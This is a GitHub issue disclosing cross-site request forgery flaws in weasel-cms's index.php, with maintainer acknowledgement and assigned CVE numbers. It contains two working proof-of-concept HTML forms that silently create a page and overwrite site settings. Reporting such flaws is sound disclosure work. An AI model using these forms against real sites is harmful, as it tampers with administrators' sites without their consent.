Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
one.html---create a new page
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/weasel-cms/index.php" method="POST"> <input type="hidden" name="page-action" value="create" /> <input type="hidden" name="page-title" value="newpage" /> <input type="hidden" name="page-content" value="newpagenewpagenewpage" /> <input type="hidden" name="page-date" value="2018-08-03" /> <input type="hidden" name="page-time" value="11:54" /> <input type="hidden" name="page-slug" value="newpage" /> <input type="hidden" name="page-tags" value="newpage" /> <input type="hidden" name="page-description" value="newpage" /> <input type="hidden" name="page-active" value="on" /> <input type="hidden" name="page-submit" value="Create New Page" /> <input type="submit" value="Submit request" /> </form> </body> </html>
2.There is a CSRF vulnerability that can update the website settings via index.php
two.html---update the website settings
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/weasel-cms/index.php" method="POST"> <input type="hidden" name="site-language" value="en" /> <input type="hidden" name="site-title" value="newsettings" /> <input type="hidden" name="site-description" value="newsettings" /> <input type="hidden" name="site-keywords" value="newsettings" /> <input type="hidden" name="site-theme" value="weasel-dark" /> <input type="hidden" name="settings-submit" value="Save Settings" /> <input type="submit" value="Submit request" /> </form> </body> </html>
The text was updated successfully, but these errors were encountered:
4577e30
Good catch @SkyZhang47 ! thanks for reporting this again
Sorry, something went wrong.
CVE-2018-14958 and CVE-2018-14959 has been assigned for this.
No branches or pull requests
one.html---create a new page
2.There is a CSRF vulnerability that can update the website settings via index.php
two.html---update the website settings
The text was updated successfully, but these errors were encountered: